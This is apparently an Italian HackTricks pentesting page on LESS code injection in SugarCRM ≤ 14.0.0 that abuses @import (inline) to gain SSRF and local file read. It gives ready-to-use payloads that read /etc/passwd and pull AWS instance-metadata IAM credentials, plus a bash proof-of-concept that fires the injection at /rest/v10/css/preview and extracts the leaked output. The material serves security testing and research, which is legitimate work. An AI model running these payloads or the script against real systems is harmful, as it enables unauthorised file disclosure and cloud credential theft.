LESS Code Injection leading to SSRF & Local File Read

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

LESS è un popolare CSS pre-processor che aggiunge variabili, mixin, funzioni e la potente direttiva @import. Durante la compilazione il motore LESS recupererà le risorse referenziate nelle dichiarazioni @import e inserir(à) i loro contenuti (“inline”) nel CSS risultante quando l’opzione (inline) è usata.

Quando un’app concatena user-controlled input in una stringa che viene successivamente parsata dal compilatore LESS, un attacker può inject arbitrary LESS code. Abusando di @import (inline) l’attaccante può forzare il server a recuperare:

  • File locali tramite il protocollo file:// (divulgazione di informazioni / Local File Inclusion).
  • Risorse remote su reti interne o servizi metadata del cloud (SSRF).

Questa tecnica è stata osservata in prodotti reali come SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).

Exploitation

  1. Identificare un parametro che è direttamente incorporato all’interno di una stringa di stylesheet processata dal motore LESS (es. ?lm= in SugarCRM).
  2. Chiudere l’istruzione corrente e iniettare nuove direttive. I primitivi più comuni sono:
  • ; – termina la dichiarazione precedente.
  • } – chiude il blocco precedente (se necessario).
  1. Usare @import (inline) '<URL>'; per leggere risorse arbitrarie.
  2. Facoltativamente iniettare un marker (URI data:) dopo l’import per facilitare l’estrazione del contenuto recuperato dal CSS compilato.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Il contenuto di /etc/passwd apparirà nella risposta HTTP appena prima del marker @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC automatizzato (esempio SugarCRM)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Casi reali

ProdottoEndpoint vulnerabileImpatto
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=SSRF non autenticato e lettura di file locali

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks